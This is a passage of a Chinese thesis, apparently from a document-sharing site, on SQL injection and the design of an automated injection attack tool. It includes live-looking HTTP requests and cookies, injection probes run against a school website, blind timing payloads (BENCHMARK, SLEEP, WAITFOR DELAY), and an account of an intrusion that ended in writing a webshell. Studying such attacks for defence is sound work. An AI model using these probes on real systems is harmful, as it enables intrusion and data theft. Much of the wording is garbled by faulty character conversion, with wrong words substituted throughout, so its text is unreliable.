自動(dòng)注入攻擊工具的研發(fā)_第1頁
自動(dòng)注入攻擊工具的研發(fā)_第2頁
自動(dòng)注入攻擊工具的研發(fā)_第3頁
自動(dòng)注入攻擊工具的研發(fā)_第4頁
自動(dòng)注入攻擊工具的研發(fā)_第5頁
已閱讀5頁,還剩74頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

1、第1章 緒論1.1 項(xiàng)目背景及意義SQL注入攻擊是一種特不有效且破壞性專門大的滲透手段。它是針關(guān)于數(shù)據(jù)庫的一種攻擊手段,通過利用數(shù)據(jù)庫的外部接口把惡意代碼插入到SQL語言中使數(shù)據(jù)庫服務(wù)器解析并執(zhí)行,以達(dá)到入侵目標(biāo)數(shù)據(jù)庫及至整個(gè)操作系統(tǒng)的目的。了解和熟悉SQL注入原理,掌握防備SQL注入攻擊的原理和技巧就變得至關(guān)重要。SQL注入攻擊的普遍性、難捉摸性、簡易性等特點(diǎn)讓其成為了網(wǎng)絡(luò)中黑客主流攻擊方式之一。因?yàn)镾QL注入是從正常的Web平臺(tái)入口進(jìn)行請(qǐng)求訪問,和請(qǐng)求正常的Web頁面沒有什么區(qū)不,因此目前市面上除了專門的Web防備防火墻外,大部分防火墻都可不能對(duì)這類SQL注入攻擊進(jìn)行監(jiān)控和發(fā)出警報(bào),若網(wǎng)站

2、治理員沒有經(jīng)常查看IIS日志的經(jīng)驗(yàn)和適應(yīng),有可能被入侵專門長一段時(shí)刻后都沒有任何發(fā)覺。由于現(xiàn)在廣泛流行的惡意攻擊工具,SQL注入在近年來呈現(xiàn)一種增長的趨勢。據(jù)OWASP(開放式web應(yīng)用程序安全項(xiàng)目)每隔三年更新一次的“十大安全隱患列表”,在近幾次公布的總結(jié)Web應(yīng)用程序最可能、最常見、最危險(xiǎn)的十大安全隱患中,SQL注入攻擊一直排列靠前。OWASP TOP 10 2010中列出的最嚴(yán)峻的Web應(yīng)用程序的漏洞中,注入(Injection)風(fēng)險(xiǎn)位居第一。Web應(yīng)用的進(jìn)展越來越成熟,應(yīng)用的各項(xiàng)技術(shù)進(jìn)展得也越來越復(fù)雜。它們涵蓋了從外部動(dòng)態(tài)展示INTERNET和內(nèi)部工作網(wǎng)絡(luò)到以WEB協(xié)議方式傳遞數(shù)據(jù)的企

3、業(yè)工作應(yīng)用(如文檔治理系統(tǒng)等)。這些系統(tǒng)的有用性及其數(shù)據(jù)存儲(chǔ)、處理內(nèi)容的機(jī)密性和敏感性關(guān)于企業(yè)的要緊業(yè)務(wù)而言都特不重要。當(dāng)前市面的注入攻擊檢測工具只能對(duì)單個(gè)網(wǎng)頁或者單個(gè)URL進(jìn)行檢測和注入,無法對(duì)整個(gè)網(wǎng)站的漏洞進(jìn)行檢測。而漏洞掃描工具能夠?qū)φ麄€(gè)網(wǎng)站漏洞進(jìn)行掃描卻無法進(jìn)行進(jìn)一步的注入攻擊檢測。專門大程度上不能滿足開發(fā)人員和治理人員對(duì)網(wǎng)站SQL注入漏洞全面了解的要求。本研究的最終目的是分析SQL注入攻擊的類型、關(guān)鍵技術(shù)和原理,并研究SQL注入在實(shí)際應(yīng)用中的操作方法,在此基礎(chǔ)之上,設(shè)計(jì)并開發(fā)了一套自動(dòng)注入工具。因?yàn)閻阂夤粽卟粌H能夠通過SQL注入攻擊對(duì)Web應(yīng)用數(shù)據(jù)進(jìn)行盜取、篡改信息,還能夠進(jìn)一步關(guān)

4、于服務(wù)器進(jìn)行惡意操作,同時(shí)植入木馬或者后門程序,甚至操縱整個(gè)服務(wù)器,這就嚴(yán)峻阻礙了應(yīng)用的正常運(yùn)行以及關(guān)于應(yīng)用的信息安全帶來嚴(yán)峻后果。因此,關(guān)于功能齊備的SQL注入攻擊掃描與檢測工具的研究與開發(fā)具,具有特不重要的現(xiàn)實(shí)意義。應(yīng)用程序開發(fā)者或網(wǎng)站治理人員使用此工具對(duì)自已的網(wǎng)站進(jìn)行安全檢測,以達(dá)到減小SQL注入的可能性。同時(shí),在滲透測試工作中,關(guān)于安全測試也具有專門大的關(guān)心。1.2 研究內(nèi)容1.2.1 自動(dòng)注入攻擊工具的研發(fā)本研究首先理解Web應(yīng)用的工作原理,首先簡要概述Web應(yīng)用系統(tǒng)通用的架構(gòu)模式,理解了構(gòu)建模式后能更清晰的了解SQL注入的產(chǎn)生過程,然后從Web應(yīng)用的代碼層來分析介紹是什么引起了通用

5、的SQL注入,然后研究介紹SQL注入漏洞的利用過程。從框架到利用逐步分析SQL注入的過程和利用,然后依照分析的內(nèi)容構(gòu)建SQL注入的自動(dòng)化檢測及注入攻擊利用框架。1.2.2 SQL注入原理SQL注入的原理,是將SQL代碼插入或者非正常時(shí)添加到應(yīng)用的參數(shù)當(dāng)中,同時(shí)進(jìn)行了一定的拼接傳入到了后臺(tái)的數(shù)據(jù)庫服務(wù)器,最終使服務(wù)器執(zhí)行了該拼接的惡意SQL命令。所有的是通過SQL語句執(zhí)行的應(yīng)用過程均存在被攻擊的威脅,因?yàn)镾QL的多樣多變性語言結(jié)構(gòu)特征使得攻擊者能夠拼接構(gòu)建豐富的代碼編碼手段等來拼接語句來欺騙服務(wù)器。SQL注入攻擊的要緊方式確實(shí)是直接將命令插入到應(yīng)用服務(wù)的表單參數(shù)中傳入到后臺(tái)數(shù)據(jù)庫查詢字符串中,這

6、些參數(shù)就會(huì)被帶入到后臺(tái)數(shù)據(jù)庫服務(wù)器進(jìn)行執(zhí)行解析,攻擊者便能夠構(gòu)造惡意命令來達(dá)到攻擊目的。1.2.3 SQL注入檢測技術(shù)檢測發(fā)覺SQL注入漏洞有一條簡單的規(guī)則:SQL注入是通過發(fā)送專門數(shù)據(jù)來觸發(fā)異常操作。該規(guī)則包括如下含義:檢測Web應(yīng)用上所有的輸入數(shù)據(jù);集合SQL語法,歸類所有可能觸發(fā)異常的數(shù)據(jù)類型;檢測數(shù)據(jù)庫服務(wù)器應(yīng)用響應(yīng)中的異常。首先需要清晰Web掃瞄器向Web服務(wù)器發(fā)送請(qǐng)求的過程。不同的服務(wù)應(yīng)用會(huì)有不同的體現(xiàn)方式,它們均處在基于Web的環(huán)境中,因此差不多原理是相同的。識(shí)不和檢測應(yīng)用同意的所有數(shù)據(jù),攻擊一般都會(huì)修改這些數(shù)據(jù),因此需要識(shí)不并分析服務(wù)器對(duì)它們的響應(yīng)。有時(shí)響應(yīng)中會(huì)直接包含來自數(shù)據(jù)

7、庫的SQL錯(cuò)誤,有時(shí)需要不斷的方式來檢測和確定響應(yīng)中細(xì)微的差不。1.3 章節(jié)安排本論文章節(jié)安排如下:第一章 緒論:綜述此研究設(shè)計(jì)的背景意義以及研究內(nèi)容。第二章 SQL注入技術(shù)研究:要緊對(duì)SQL注入攻擊方式過程和攻擊特點(diǎn)進(jìn)行歸類、識(shí)不,首先理解Web應(yīng)用的工作原理,概述Web應(yīng)用通用的構(gòu)建方式,為理解SQL注入的產(chǎn)生過程提供一些背景知識(shí),接下來從Web應(yīng)用的代碼層介紹引發(fā)SQL注入的因素以及哪些開發(fā)實(shí)踐和行為會(huì)引發(fā)SQL注入。分析SQL注入過程和利用,并架構(gòu)如何將SQL注入的發(fā)覺過程自動(dòng)化以提高檢測簡單SQL注入的框架。第三章 SQL注入攻擊技術(shù)研究:依照SQL注入技術(shù),研究利用數(shù)據(jù)庫中的功能來

8、攻擊系統(tǒng)端口的技術(shù)。數(shù)數(shù)據(jù)庫大多均帶有豐富的數(shù)據(jù)庫編程功能,能夠利用SQL注入漏洞來訪問文件系統(tǒng)以執(zhí)行有效的任務(wù),能夠在基礎(chǔ)操作上執(zhí)行各種命令,擴(kuò)大范圍攻擊的利用技術(shù)細(xì)節(jié)。當(dāng)發(fā)覺SQL注入漏洞以及初步的利用獵取數(shù)據(jù)后,能夠利用SQL注入漏洞來訪問文件系統(tǒng)來擴(kuò)大滲透范圍。還能夠在操作系統(tǒng)上執(zhí)行各種命令,攻擊能夠使用它們擴(kuò)展數(shù)據(jù)庫的可達(dá)區(qū)域并在更大的范圍內(nèi)發(fā)動(dòng)攻擊。第四章 注入高級(jí)技巧研究:Web應(yīng)用通常會(huì)使用過濾應(yīng)用,設(shè)計(jì)這些過濾的目的確實(shí)是防備SQL注入在內(nèi)的常見攻擊。這些過濾方式能夠是位于web應(yīng)用的代碼層中,也能夠通過第三方的外部實(shí)現(xiàn),如Web應(yīng)用防火墻(WAF)或入侵防備系統(tǒng)(IPS)。

9、當(dāng)注入攻擊碰到這些防備應(yīng)用,若想進(jìn)一步利用漏洞,則需要查找一種能避開過濾器防護(hù)的高級(jí)方法以便惡意輸入傳遞給易受攻擊的代碼。第五章 自動(dòng)注入工具框架設(shè)計(jì):依照項(xiàng)目的設(shè)計(jì)需求,以及Python編程語言的特點(diǎn),對(duì)自動(dòng)注入攻擊工具整體框架進(jìn)行分析和設(shè)計(jì)。同時(shí)分析功能模塊中的重點(diǎn)和關(guān)鍵技術(shù)。第六章 SQL注入測試:自動(dòng)注入攻擊實(shí)例測試。第2章 SQL注入技術(shù)2.1 Web應(yīng)用工作原理和架構(gòu)簡析不論是用何種腳本語言開發(fā)的Web應(yīng)用,都有一個(gè)共同點(diǎn):具有交互性同時(shí)大多是數(shù)據(jù)庫驅(qū)動(dòng)的?;跀?shù)據(jù)庫驅(qū)動(dòng)的Web應(yīng)用一般都包含三層:a presentation tier(表示層,Web掃瞄器或呈現(xiàn)引擎)、a log

10、ic tier(邏輯層,如C#、ASP、.NET、PHP、JSP等編程語言)和a storage tier(存儲(chǔ)層,如Microsoft SQL Server、MySQL、Oracle等數(shù)據(jù)庫)。Web掃瞄器(表示層,如Internet Explorer、Safari、Firefox等)向中間層(邏輯層)發(fā)送請(qǐng)求,中間層通過查詢、解析數(shù)據(jù)庫(存儲(chǔ)層)來響應(yīng)該請(qǐng)求。圖2-1 簡單的三層架構(gòu) Web三層架構(gòu)解決方案沒有擴(kuò)展性,研究人員不斷地對(duì)Web三層架構(gòu)進(jìn)行改進(jìn)優(yōu)化,在可維護(hù)性和可擴(kuò)展性的基礎(chǔ)上建立了一種新概念:n層應(yīng)用開發(fā)模式。其中有一種確實(shí)是Web四層架構(gòu)解決方案,該方案在Web服務(wù)器和數(shù)據(jù)

11、庫之間使用了一層中間件服務(wù)器(通常稱為應(yīng)用服務(wù)器)。下圖2-2中,Web掃瞄器(表示層)向中間層(邏輯層)發(fā)送請(qǐng)求,后者一次調(diào)用由位于應(yīng)用層的應(yīng)用服務(wù)器所提供的API,應(yīng)用層通過查詢、更新數(shù)據(jù)庫(存儲(chǔ)層)來響應(yīng)該請(qǐng)求。圖2-2 四層架構(gòu)2.2 識(shí)不SQL注入SQL注入確實(shí)是程序員對(duì)程序中動(dòng)態(tài)的SQL語句沒有作嚴(yán)格的過濾或檢測,導(dǎo)致黑客能在注入點(diǎn)提交非法的SQL語句,導(dǎo)致程序和服務(wù)器的信息被泄漏。由于SQL注入的入門門檻低,隱蔽性好,破壞性大,殺毒軟件無法查殺,是當(dāng)前最主流的入侵手段。SQL注入攻擊的本質(zhì),確實(shí)是服務(wù)器將用戶傳入的數(shù)據(jù)在數(shù)據(jù)庫中當(dāng)成了SQL代碼執(zhí)行。那個(gè)地點(diǎn)便有兩個(gè)關(guān)鍵因素:第一

12、個(gè)是用戶有權(quán)限輸入數(shù)據(jù);第二個(gè)是服務(wù)器應(yīng)用數(shù)據(jù)執(zhí)行了用戶傳入的數(shù)據(jù)。2.2.1 識(shí)不數(shù)據(jù)輸入Web環(huán)境是一種C/S(客戶端/服務(wù)器)架構(gòu)??蛻舳耸褂脪呙槠飨騑eb服務(wù)器發(fā)送請(qǐng)求并等待響應(yīng)。Web服務(wù)器接收到請(qǐng)求后,通過查詢、解析數(shù)據(jù)庫,將響應(yīng)發(fā)送回客戶端。專門明顯,雙方便必須使用一種協(xié)議作為雙方的約定,這種傳輸協(xié)議確實(shí)是HTTP。首先,必須識(shí)不遠(yuǎn)程Web應(yīng)用所接收的所有數(shù)據(jù)輸入。HTTP協(xié)議定義了能夠發(fā)送給服務(wù)器的操作方式,那個(gè)地點(diǎn)只關(guān)注研究與SQL注入攻擊相關(guān)的兩種方法:GET和POST。GET請(qǐng)求:GET是向服務(wù)器發(fā)索取數(shù)據(jù)的一種請(qǐng)求,是一種請(qǐng)求服務(wù)器的HTTP方法。使用GET請(qǐng)求時(shí),信息

13、是顯示在URL中的。GET請(qǐng)求對(duì)用戶是透明的,如下例,WEB服務(wù)器的GET請(qǐng)求如下所示:GET /general/vote/show/webst/list.php?VOTE_ID=131 HTTP/1.1User-Agent: Opera/9.80 (Windows NT 6.1; U; Edition IBIS; zh-cn) Presto/2.10.229 Version/11.62Host: *.Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpe

14、g, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflateCookie: SID_4143=82b90aee; SID_99=bfb67d86; UI_COOKIE=0; LWr7_2132_ulastactivity=85ebvMTfOWVLvxgzzzV4uv0PkMG14SL7yUg9SVBP%2BzMNhDtpaSVL; PHPSESSID=073edfe7894acb322ba1061678e82090; lzstat_uv

15、=10735291292559574567|2879946Proxy-Connection: Keep-Alive該請(qǐng)求中與數(shù)據(jù)查詢相關(guān)的參數(shù)在URL中,格式如下所示:list.php?VOTE_ID=131上述示例中包含一個(gè)參數(shù):VOTE_ID。服務(wù)器應(yīng)用將會(huì)把參數(shù)值帶入數(shù)據(jù)庫中解析執(zhí)行,然后將響應(yīng)結(jié)果返回給客戶端。POST請(qǐng)求:POST請(qǐng)求是作為HTTP消息的實(shí)際內(nèi)容發(fā)送給web服務(wù)器的HTTP方法。在掃瞄器中填寫表單并點(diǎn)擊Submit按鈕時(shí)通常使用該方法。下面的例子是掃瞄器發(fā)送給遠(yuǎn)程WEB服務(wù)器的內(nèi)容,請(qǐng)求如下所示:POST /general/vote/show/webst/pl_wri

16、te.php?ITEM_ID=345 HTTP/1.1User-Agent: Opera/9.80 (Windows NT 6.1; U; Edition IBIS; zh-cn) Presto/2.10.229 Version/11.62Host: *.Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: zh-CN,zh;q=0.9,en;

17、q=0.8Accept-Encoding: gzip, deflateReferer: http:/*./general/vote/show/webst/pl_write.php?ITEM_ID=345Cookie: SID_4143=82b90aee; SID_99=bfb67d86; UI_COOKIE=0; LWr7_2132_ulastactivity=85ebvMTfOWVLvxgzzzV4uv0PkMG14SL7yUg9SVBP%2BzMNhDtpaSVL; PHPSESSID=073edfe7894acb322ba1061678e82090; lzstat_uv=10735291

18、292559574567|2879946Connection: Keep-AliveContent-Length: 40Content-Type: application/x-www-form-urlencodedcontent=POST+TEST&submit=+%CC%E1+%BD%BB+其他注入數(shù)據(jù):除了GET或POST參數(shù)傳輸檢索數(shù)據(jù)外,HTTP請(qǐng)求的其他內(nèi)容也可能會(huì)觸發(fā)SQL注入漏洞。Cookie確實(shí)是個(gè)專門典型的例子。Cookie由服務(wù)器發(fā)發(fā)送到用戶端的掃瞄器,并會(huì)在用戶端每次請(qǐng)求中都會(huì)回發(fā)給服務(wù)器。Cookie一般被用于辨不用戶身份、進(jìn)行session跟蹤而儲(chǔ)存在用戶本地終端上的

19、數(shù)據(jù)。由此可見,用戶完全能夠操縱發(fā)送給服務(wù)器的Cookie內(nèi)容,因此Cookie也作為一種有效的用戶數(shù)據(jù)輸入方式和易受注入阻礙的對(duì)象。如:GET /elf/home.php HTTP/1.1Host: User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Enco

20、ding: gzip, deflateCookie: _utma=235504861.1045863906.1362721158.1363922147.1364178877.17; _utmz=235504861.1363878397.13.3.utmcsr=|utmccn=(referral)|utmcmd=referral|utmcct=/app/procurement/bids/; s_nr=1364197401953-Repeat; s_vnum=1364799600337%26vn%3D19; s_vi=CSv1|289CC3EC851D1C92-400001326012B18CCE

21、; fsr.r=d:90,i:d046012-55164494-d970-1460-e7619,e:1363330479331; elf_e=hack; elf_s=ab; elf_h=86b9fa33b1b652a3c73ea82f5e6263beConnection: keep-alive該應(yīng)用系統(tǒng)存在一個(gè)cookie注入漏洞,漏洞代碼下圖2-3,程序代碼沒有任何過濾就將用戶傳入的cookie參數(shù)帶入到數(shù)據(jù)庫中進(jìn)行執(zhí)行。用戶只要利用抓包工具將傳入的數(shù)據(jù)包截下來修改cookie字段的數(shù)據(jù)就能夠?qū)阂饷顐魅氲胶笈_(tái)數(shù)據(jù)庫進(jìn)行執(zhí)行。圖2-3 存在漏洞的代碼文件2.2.2 操作請(qǐng)求參數(shù)下面先通過介

22、紹一個(gè)特不簡單的例子來熟悉SQL注入漏洞。以我們學(xué)校http:/*./為例。掃瞄到某頁面的URL如下: HYPERLINK http:/*./general/vote/show/webst/list.php?VOTE_ID=131 http:/*./general/vote/show/webst/list.php?VOTE_ID=131List.php頁面收到一個(gè)名為VOTE_ID的參數(shù)?,F(xiàn)在開始開始手動(dòng)修改VOTE_ID參數(shù)的值,將其改為意外的數(shù)值。按照下列方式進(jìn)行首次嘗試: HYPERLINK http:/*./general/vote/show/webst/list.php?VOTE_I

23、D=131 http:/*./general/vote/show/webst/list.php?VOTE_ID=attacker上例中使用不存在的類型名向服務(wù)器發(fā)出請(qǐng)求。服務(wù)器返回如下圖2-4響應(yīng):圖2-4 服務(wù)器響應(yīng)結(jié)果1該警告是當(dāng)用戶嘗試從空結(jié)果集中讀取記錄時(shí),數(shù)據(jù)庫返回的一個(gè)MYSQL數(shù)據(jù)庫錯(cuò)誤。該錯(cuò)誤表明遠(yuǎn)程應(yīng)用未能正確處理意外的數(shù)據(jù)。接著進(jìn)行推理操作,現(xiàn)在向之前發(fā)送的值添加一個(gè)單引號(hào)(),發(fā)送下列請(qǐng)求: HYPERLINK http:/*./general/vote/show/webst/list.php?VOTE_ID=131 http:/*./general/vote/show/

24、webst/list.php?VOTE_ID=attacker下圖2-5是服務(wù)器的響應(yīng):圖2-5 服務(wù)器響應(yīng)結(jié)果2服務(wù)器返回下列錯(cuò)誤:請(qǐng)聯(lián)系治理員 錯(cuò)誤#1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1SQL語句: SELECT END_DATE from VOTE_TITLE where VOTE_ID=attacker文件:D:/*root/g

25、eneral/vote/show/webst/list.php不難發(fā)覺,有些應(yīng)用在處理用戶數(shù)據(jù)時(shí)會(huì)返意想不到的結(jié)果。WEB檢測的異常并非差不多上由SQL注入漏洞引起的,還會(huì)受到專門多其他因素的阻礙。那個(gè)地點(diǎn)還能夠通過進(jìn)行另一個(gè)測試來識(shí)不SQL Server和Oracle中的漏洞。向Web服務(wù)發(fā)送下面兩個(gè)請(qǐng)求: HYPERLINK /general/vote/show/webst/list.php?VOTE_ID=131 http:/*./general/vote/show/webst/list.php?VOTE_ID=131 HYPERLINK /general/vote/show/webst

26、/list.php?VOTE_ID=13+1 http:/*./general/vote/show/webst/list.php?VOTE_ID=13+1在MYSQL中,與其等價(jià)的請(qǐng)求為: HYPERLINK /general/vote/show/webst/list.php?VOTE_ID=131 http:/*./general/vote/show/webst/list.php?VOTE_ID=131 HYPERLINK /general/vote/show/webst/list.php?VOTE_ID=13 http:/*./general/vote/show/webst/list.ph

27、p?VOTE_ID=13 1假如兩個(gè)請(qǐng)求結(jié)果相同,則專門可能存在SQL注入漏洞。2.2.3 數(shù)據(jù)庫響應(yīng)測試SQL注入攻擊漏洞時(shí),可能會(huì)從WEB服務(wù)器收到不同的數(shù)據(jù)庫錯(cuò)誤響應(yīng),因此關(guān)于這些錯(cuò)誤的意義需要熟悉和掌握。圖2-6展示了產(chǎn)生SQL注入錯(cuò)誤的過程和WEB服務(wù)器對(duì)錯(cuò)誤進(jìn)行處理得過程。圖2-6 產(chǎn)生SQL注入錯(cuò)誤的過程中的信息流產(chǎn)生SQL注入錯(cuò)誤的過程中發(fā)生了以下事件:用戶端發(fā)送請(qǐng)求數(shù)據(jù),嘗試觸發(fā)SQL注入漏洞。假設(shè)用戶發(fā)送了一個(gè)帶單引號(hào)的值。WEB服務(wù)器接收到用戶端的請(qǐng)求數(shù)據(jù),并向數(shù)據(jù)庫服務(wù)器發(fā)送SQL查詢。本例中,在WEB服務(wù)器執(zhí)行的SQL語句中包含了用戶輸入?yún)?shù)同時(shí)構(gòu)造了一條SQL查詢,

28、該查詢因末尾存在單引號(hào)而導(dǎo)致語法錯(cuò)誤。數(shù)據(jù)庫服務(wù)器接收?qǐng)?zhí)行了格式不正確的SQL查詢,并向WEB服務(wù)器返回一條錯(cuò)誤消息。WEB服務(wù)器接收到的來自數(shù)據(jù)庫的錯(cuò)誤向用戶發(fā)送HTML響應(yīng)。下面列舉常見的SQL錯(cuò)誤。SQL Server錯(cuò)誤在請(qǐng)求中插入一個(gè)單引號(hào)在參數(shù)中會(huì)產(chǎn)生數(shù)據(jù)庫錯(cuò)誤。關(guān)于SQL Server中,遠(yuǎn)程應(yīng)用返回類似于下列內(nèi)容的錯(cuò)誤,圖2-7所示:/Display_News.asp?ArticleID=2650圖2-7 SQL Server錯(cuò)誤通過上面的例子,我們能夠確定運(yùn)行在數(shù)據(jù)庫上的遠(yuǎn)程SQL語句與下面的內(nèi)容相似:SELECT *FROM NewsWHERE ArticleID=2650

29、該Web應(yīng)用未檢測單引號(hào),因此數(shù)據(jù)庫服務(wù)器響應(yīng)返回了一個(gè)錯(cuò)誤。MYSQL錯(cuò)誤下面介紹一下典型的mysql錯(cuò)誤。MYSQL能夠在專門多架構(gòu)和操作系統(tǒng)下執(zhí)行,兼容性專門好,常見的配置是在裝有l(wèi)inux操作系統(tǒng)的apache web服務(wù)器上運(yùn)行php,但它也能夠出現(xiàn)在專門多其他場合中。下列錯(cuò)誤通常表明存在MYSQL注入漏洞:Warning:mysql_fetch_array(1):supplied argument is not a valid MySQL result resource in /var/www/list.php on line 92.2.4 自動(dòng)查找SQL注入關(guān)于SQL注入工具的開

30、發(fā),如何的適度的自動(dòng)化SQL注入的請(qǐng)求是其中的關(guān)鍵。識(shí)不數(shù)據(jù)輸入是能夠自動(dòng)化的內(nèi)容,它涉及搜索WEB站點(diǎn)和查找GET及POST請(qǐng)求。數(shù)據(jù)注入也能夠自動(dòng)完成,因?yàn)樯弦粫r(shí)期差不多獵取了發(fā)送請(qǐng)求所需要的所有數(shù)據(jù)。若想自動(dòng)查找SQL注入漏洞,要緊問題在于檢測遠(yuǎn)程服務(wù)器響應(yīng)中的異常。關(guān)于治理員來講,區(qū)不一個(gè)錯(cuò)誤頁面或其他類型的異常頁面特不容易;但關(guān)于程序來講,要識(shí)不出服務(wù)器異常輸出,有時(shí)會(huì)特不困難。某些情況下,應(yīng)用能夠?qū)iT容易地檢測到數(shù)據(jù)庫發(fā)生了錯(cuò)誤,如以下情形下:WEB應(yīng)用服務(wù)器返回由數(shù)據(jù)庫產(chǎn)生的SQL錯(cuò)誤;WEB應(yīng)用服務(wù)器返回HTTP500內(nèi)部服務(wù)器無法執(zhí)行錯(cuò)誤;某些SQL盲注情況下。但關(guān)于其他情況

31、,應(yīng)用系統(tǒng)將專門難識(shí)不存在的漏洞,而且專門容易出現(xiàn)遺漏。因此,自動(dòng)發(fā)覺SQL注入存在著一定的局限性,自定義的測試和手動(dòng)測試也顯得特不重要。2.3 SQL盲注專門多時(shí)候,WEB服務(wù)器為了安全設(shè)置關(guān)閉了錯(cuò)誤回顯,然而這能夠阻擋住SQL注入攻擊嗎?當(dāng)發(fā)覺一個(gè)SQL注入點(diǎn),但應(yīng)用只提供了一個(gè)自定義的通用的錯(cuò)誤頁面;或者盡管提供了正常的頁面,但與期望的測試響應(yīng)存在一些小的差異?;谶@種情況下的SQL注入攻擊測試,都屬于SQL盲注。所謂“盲注”,確實(shí)是在在注入攻擊Web應(yīng)用時(shí),攻擊語句被帶入到后臺(tái)數(shù)據(jù)庫中執(zhí)行,然而服務(wù)器查可不能返回錯(cuò)誤或者執(zhí)行結(jié)果的回顯的情況下進(jìn)行的注入攻擊。服務(wù)器沒有了攻擊者期望的錯(cuò)誤

32、回顯,關(guān)于攻擊者來講沒有了特不重要的SQL注入攻擊“調(diào)試信息”,因此攻擊者必須找到一個(gè)方法來從側(cè)面驗(yàn)證注入的SQL語句是否得到成功執(zhí)行。2.3.1 注入帶判定的參數(shù)(Timing Attack) 當(dāng)差不多識(shí)不可能存在SQL注入漏洞,但又沒有正常的回顯的時(shí)候,要想進(jìn)一步確認(rèn)和檢測漏洞,一般能夠提交包含副作用的查詢參數(shù)。比較老的技術(shù)是使用timing attack,計(jì)時(shí)攻擊。2011年3月27日,一個(gè)叫TinKode4的黑客在聞名的安全郵件列表Full Disclosure上公布了他入侵的細(xì)節(jié)。這次入侵事件,確實(shí)是因?yàn)橐粋€(gè)SQL盲注漏洞引起的。據(jù)黑客公布描述,當(dāng)時(shí)那個(gè)漏洞是出現(xiàn)在下面那個(gè)頁面,如圖

33、2-8:圖2-8 漏洞頁面能夠看到網(wǎng)址URL:index.html?id=1170,通過修改參數(shù)id后的數(shù)值,服務(wù)器將返回不同的查詢的客戶信息。那個(gè)漏洞中,id=那個(gè)參數(shù)鏈接確實(shí)是一個(gè)專門隱蔽的“SQL盲注”漏洞,攻擊者通過精心構(gòu)造id參數(shù)的URL,就能夠進(jìn)行SQL注入攻擊。利用通常的SQL語句比如“and 1=2”在此鏈接下是無法看出異常的,因?yàn)閼?yīng)用服務(wù)器可不能返回任何異常的數(shù)據(jù)。在那個(gè)地點(diǎn),TinKode4利用“SQL盲注”的一個(gè)技巧:Timing Attack,用來確認(rèn)漏洞是否存在。在MYSQL數(shù)據(jù)庫中,有個(gè)函數(shù):BENCHMARK(),能夠用來測試函數(shù)性能。同時(shí)它含有兩個(gè)參數(shù):BENC

34、HMARK(count,expr)函數(shù)執(zhí)行的結(jié)果,是將表達(dá)式expr執(zhí)行count次。比如:mysql SELECT BENCHMARK(1000000,ENCODE(hello,dllk);+| BENCHMARK(1000000,ENCODE(hello,dllk) | 0 |+1 row in set (4.97 sec)就將ENCODE(hello,dllk)執(zhí)行了1000000次,共用4.97秒。因此,攻擊者就能夠利用MYSQL數(shù)據(jù)庫中的那個(gè)函數(shù)BENCHMARK(),在傳入到后臺(tái)服務(wù)器的參數(shù)中讓同一個(gè)SQL函數(shù)在數(shù)據(jù)庫中執(zhí)行若干次,然后通過服務(wù)器執(zhí)行該SQL語句的時(shí)刻的長短變化,就

35、能夠用來側(cè)面判不出SQL注入攻擊語句是否差不多成功的執(zhí)行。那個(gè)攻擊利用技巧在盲注中被稱為Timing Attack。在此次的攻擊中,攻擊者接下來確實(shí)是利用Timing Attack攻擊。比如構(gòu)造的攻擊參數(shù)id值如圖2-9:圖2-9 Timing Attack攻擊語句1這段攻擊Payload首先進(jìn)行的是推斷庫名的第一個(gè)字母是否為小寫的w,即CHAR(119)。假如推斷結(jié)果為真,就會(huì)執(zhí)行后面的BENCHMARK()函數(shù),執(zhí)行該函數(shù)就會(huì)造成較長的延時(shí);假如推斷結(jié)果為假,則該攻擊語句專門快就會(huì)被執(zhí)行完畢,頁面將專門快得到加載。如此,攻擊者就能夠通過構(gòu)造攻擊Payload猜解遍歷出所有的庫名字母,直到將

36、整個(gè)數(shù)據(jù)庫名全部猜解完成為止,然后進(jìn)一步能夠猜解遍歷出數(shù)據(jù)表明、列明和數(shù)據(jù)內(nèi)容,將能夠?qū)⒄麄€(gè)數(shù)據(jù)中的內(nèi)容下載過來。同時(shí),攻擊者還能夠通過以下Payload獵取到更多有用信息,圖2-10:圖2-10 Timing Attack攻擊語句2此外,攻擊者能夠通過利用Dump File的方法如圖圖2-11,來寫入一個(gè)webshell木馬:圖2-11 DumpFile寫如websehllTiming Attack是SQL盲注中的一種高級(jí)技巧。在各種不同的數(shù)據(jù)庫中,都有與BENCHMARK()函數(shù)類似的東西。如MYSQL:BENCHMARK(1000000,MD(1) or SLEEP(5)PostgreS

37、QL:PG_SLEEP(5) or GENERATE_SERIES(1,1000000)MS SQL Server:WAITFOR DELAY 0:0:5如,在Microsoft SQL Server中,可使用如下SQL代碼來產(chǎn)生一個(gè)8秒的暫停:WAITFOR DELAY 0:0:8同樣,關(guān)于MYSQL數(shù)據(jù)庫,攻擊者也能夠使用SLEEP()函數(shù)(該函數(shù)適用于MYSQL5.0.12及以后的版本)來進(jìn)行Timing Attack。同時(shí),攻擊者還能夠利用應(yīng)用服務(wù)器的回顯輸出來進(jìn)行推斷。例如,若將注入下面的字符串: AND 1=2插入到一個(gè)搜索字段中,將產(chǎn)生與 OR 1=1不同的結(jié)果響應(yīng)。2.3.2

